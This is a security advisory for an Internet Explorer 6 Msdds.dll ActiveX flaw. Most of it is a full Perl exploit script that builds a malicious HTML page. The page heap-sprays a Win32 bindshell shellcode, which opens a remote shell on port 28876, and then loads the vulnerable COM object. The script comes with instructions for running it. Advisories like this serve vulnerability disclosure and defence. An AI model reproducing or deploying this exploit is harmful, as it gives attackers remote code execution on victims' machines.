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Microsoft Internet Explorer Msdds.dll Code Execution
------------------------------------------------------------------------
SUMMARY
Internet Explorer is "a proprietary web browser made by Microsoft and
currently available as part of Microsoft Windows". Flaws in initialization
of Msdds.dll (Microsoft Design Tools Diagram Surface) object as ActiveX
control, allows attackers to cause the Internet Explorer to execute
arbitrary code.
DETAILS
Vulnerable Systems:
* Internet Explorer 6 for Microsoft Windows XP SP1 and SP2
Exploit:
#!/usr/bin/perl
############################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit
(0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by
Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
############################
#
# This program is free software; you can redistribute it and/or modify it
under
# the terms of the GNU General Public License version 2, 1991 as published
by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
############################
# header
my $header = "< html>< body>\n< SCRIPT language=\"javascript\">\n";
# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";
# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length< slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace< 0x40000) block =
block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i< 700;i++) memory[i] = block + shellcode;\n".
"< /SCRIPT>\n";
# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';
# footer
my $footer = "< object classid=\"CLSID:".$clsid."\">< /object>< /body><
/html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";
# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.frsirt.com/exploits/20050817.IE-Msddsdll-0day.php>
http://www.frsirt.com/exploits/20050817.IE-Msddsdll-0day.php
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